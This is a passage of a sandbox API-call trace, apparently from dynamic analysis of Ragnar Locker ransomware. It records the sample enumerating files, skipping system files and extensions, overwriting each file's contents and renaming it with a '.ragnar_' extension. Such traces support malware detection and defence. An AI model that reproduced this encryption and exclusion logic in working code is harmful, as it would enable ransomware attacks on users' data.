lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.477] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.477] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.477] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.477] GetProcessHeap () returned 0x580000 [0092.477] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.477] CloseHandle (hObject=0xf4) returned 1 [0092.477] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01006_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01006_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01006_.WMF" [0092.477] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01006_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01006_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01006_.WMF.ragnar_FD7BD9FC" [0092.477] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01006_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01006_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01006_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.478] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x865cd000, ftCreationTime.dwHighDateTime=0x1bd4be7, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x865cd000, ftLastWriteTime.dwHighDateTime=0x1bd4be7, nFileSizeHigh=0x0, nFileSizeLow=0x2734, dwReserved0=0x0, dwReserved1=0x0, cFileName="SY01252_.WMF", cAlternateFileName="")) returned 1 [0092.478] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.478] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SY01252_.WMF" | out: lpString1="SY01252_.WMF") returned="SY01252_.WMF" [0092.478] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01252_.WMF") returned=".WMF" [0092.478] lstrcmpiW (lpString1="SY01252_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.478] lstrcmpiW (lpString1="SY01252_.WMF", lpString2="autorun.inf") returned 1 [0092.478] lstrcmpiW (lpString1="SY01252_.WMF", lpString2="boot.ini") returned 1 [0092.478] lstrcmpiW (lpString1="SY01252_.WMF", lpString2="bootfont.bin") returned 1 [0092.478] lstrcmpiW (lpString1="SY01252_.WMF", lpString2="bootsect.bak") returned 1 [0092.478] lstrcmpiW (lpString1="SY01252_.WMF", lpString2="bootmgr") returned 1 [0092.478] lstrcmpiW (lpString1="SY01252_.WMF", lpString2="bootmgr.efi") returned 1 [0092.478] lstrcmpiW (lpString1="SY01252_.WMF", lpString2="bootmgfw.efi") returned 1 [0092.478] lstrcmpiW (lpString1="SY01252_.WMF", lpString2="desktop.ini") returned 1 [0092.478] lstrcmpiW (lpString1="SY01252_.WMF", lpString2="iconcache.db") returned 1 [0092.479] lstrcmpiW (lpString1="SY01252_.WMF", lpString2="ntldr") returned 1 [0092.479] lstrcmpiW (lpString1="SY01252_.WMF", lpString2="ntuser.dat") returned 1 [0092.479] lstrcmpiW (lpString1="SY01252_.WMF", lpString2="ntuser.dat.log") returned 1 [0092.479] lstrcmpiW (lpString1="SY01252_.WMF", lpString2="ntuser.ini") returned 1 [0092.479] lstrcmpiW (lpString1="SY01252_.WMF", lpString2="thumbs.db") returned -1 [0092.479] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.479] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.479] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.479] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0092.479] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.479] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0092.479] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.479] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01252_.wmf")) returned 0x20 [0092.479] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01252_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.479] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=10036) returned 1 [0092.479] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x272b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.479] GetProcessHeap () returned 0x580000 [0092.479] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.480] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.481] VirtualAlloc (lpAddress=0x0, dwSize=0x2734, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.481] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.481] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.481] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2734, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2734, lpOverlapped=0x0) returned 1 [0092.482] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.482] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2734, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.482] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2734, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2734, lpOverlapped=0x0) returned 1 [0092.482] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2734, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.482] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.483] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2734, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.483] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.483] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.483] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.483] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.483] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.483] GetProcessHeap () returned 0x580000 [0092.483] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.483] CloseHandle (hObject=0xf4) returned 1 [0092.483] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01252_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01252_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01252_.WMF" [0092.483] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01252_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01252_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01252_.WMF.ragnar_FD7BD9FC" [0092.483] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01252_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01252_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01252_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.484] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x852ba300, ftCreationTime.dwHighDateTime=0x1bd4be7, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x852ba300, ftLastWriteTime.dwHighDateTime=0x1bd4be7, nFileSizeHigh=0x0, nFileSizeLow=0x78a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SY01253_.WMF", cAlternateFileName="")) returned 1 [0092.484] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.484] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SY01253_.WMF" | out: lpString1="SY01253_.WMF") returned="SY01253_.WMF" [0092.484] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01253_.WMF") returned=".WMF" [0092.484] lstrcmpiW (lpString1="SY01253_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.484] lstrcmpiW (lpString1="SY01253_.WMF", lpString2="autorun.inf") returned 1 [0092.484] lstrcmpiW (lpString1="SY01253_.WMF", lpString2="boot.ini") returned 1 [0092.484] lstrcmpiW (lpString1="SY01253_.WMF", lpString2="bootfont.bin") returned 1 [0092.484] lstrcmpiW (lpString1="SY01253_.WMF", lpString2="bootsect.bak") returned 1 [0092.484] lstrcmpiW (lpString1="SY01253_.WMF", lpString2="bootmgr") returned 1 [0092.484] lstrcmpiW (lpString1="SY01253_.WMF", lpString2="bootmgr.efi") returned 1 [0092.484] lstrcmpiW (lpString1="SY01253_.WMF", lpString2="bootmgfw.efi") returned 1 [0092.484] lstrcmpiW (lpString1="SY01253_.WMF", lpString2="desktop.ini") returned 1 [0092.484] lstrcmpiW (lpString1="SY01253_.WMF", lpString2="iconcache.db") returned 1 [0092.484] lstrcmpiW (lpString1="SY01253_.WMF", lpString2="ntldr") returned 1 [0092.484] lstrcmpiW (lpString1="SY01253_.WMF", lpString2="ntuser.dat") returned 1 [0092.485] lstrcmpiW (lpString1="SY01253_.WMF", lpString2="ntuser.dat.log") returned 1 [0092.485] lstrcmpiW (lpString1="SY01253_.WMF", lpString2="ntuser.ini") returned 1 [0092.485] lstrcmpiW (lpString1="SY01253_.WMF", lpString2="thumbs.db") returned -1 [0092.485] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.485] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.485] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.485] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0092.485] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.485] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0092.485] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.485] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01253_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01253_.wmf")) returned 0x20 [0092.485] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01253_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01253_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.485] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1930) returned 1 [0092.486] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x781, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.486] GetProcessHeap () returned 0x580000 [0092.486] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.486] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.487] VirtualAlloc (lpAddress=0x0, dwSize=0x78a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.487] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.487] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.487] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x78a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x78a, lpOverlapped=0x0) returned 1 [0092.487] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.487] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x78a, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.487] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x78a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x78a, lpOverlapped=0x0) returned 1 [0092.487] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x78a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.487] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.488] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x78a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.488] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.488] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.488] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.488] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.488] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.488] GetProcessHeap () returned 0x580000 [0092.488] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.488] CloseHandle (hObject=0xf4) returned 1 [0092.488] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01253_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01253_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01253_.WMF" [0092.488] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01253_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01253_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01253_.WMF.ragnar_FD7BD9FC" [0092.488] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01253_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01253_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01253_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01253_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.489] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf461c100, ftCreationTime.dwHighDateTime=0x1bd4c00, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf461c100, ftLastWriteTime.dwHighDateTime=0x1bd4c00, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x0, dwReserved1=0x0, cFileName="SY01462_.WMF", cAlternateFileName="")) returned 1 [0092.489] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.489] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SY01462_.WMF" | out: lpString1="SY01462_.WMF") returned="SY01462_.WMF" [0092.489] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01462_.WMF") returned=".WMF" [0092.489] lstrcmpiW (lpString1="SY01462_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.489] lstrcmpiW (lpString1="SY01462_.WMF", lpString2="autorun.inf") returned 1 [0092.489] lstrcmpiW (lpString1="SY01462_.WMF", lpString2="boot.ini") returned 1 [0092.489] lstrcmpiW (lpString1="SY01462_.WMF", lpString2="bootfont.bin") returned 1 [0092.489] lstrcmpiW (lpString1="SY01462_.WMF", lpString2="bootsect.bak") returned 1 [0092.489] lstrcmpiW (lpString1="SY01462_.WMF", lpString2="bootmgr") returned 1 [0092.489] lstrcmpiW (lpString1="SY01462_.WMF", lpString2="bootmgr.efi") returned 1 [0092.489] lstrcmpiW (lpString1="SY01462_.WMF", lpString2="bootmgfw.efi") returned 1 [0092.489] lstrcmpiW (lpString1="SY01462_.WMF", lpString2="desktop.ini") returned 1 [0092.489] lstrcmpiW (lpString1="SY01462_.WMF", lpString2="iconcache.db") returned 1 [0092.489] lstrcmpiW (lpString1="SY01462_.WMF", lpString2="ntldr") returned 1 [0092.489] lstrcmpiW (lpString1="SY01462_.WMF", lpString2="ntuser.dat") returned 1 [0092.489] lstrcmpiW (lpString1="SY01462_.WMF", lpString2="ntuser.dat.log") returned 1 [0092.489] lstrcmpiW (lpString1="SY01462_.WMF", lpString2="ntuser.ini") returned 1 [0092.489] lstrcmpiW (lpString1="SY01462_.WMF", lpString2="thumbs.db") returned -1 [0092.490] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.490] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.490] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.490] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0092.490] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.490] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0092.490] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.490] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01462_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01462_.wmf")) returned 0x20 [0092.490] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01462_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01462_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.491] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=806) returned 1 [0092.491] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x31d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.491] GetProcessHeap () returned 0x580000 [0092.491] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.491] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.492] VirtualAlloc (lpAddress=0x0, dwSize=0x326, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.492] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.492] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.492] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x326, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x326, lpOverlapped=0x0) returned 1 [0092.493] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.493] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x326, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.493] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x326, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x326, lpOverlapped=0x0) returned 1 [0092.493] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x326, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.493] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.493] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x326, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.493] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.493] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.493] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.493] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.493] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.493] GetProcessHeap () returned 0x580000 [0092.493] HeapFree 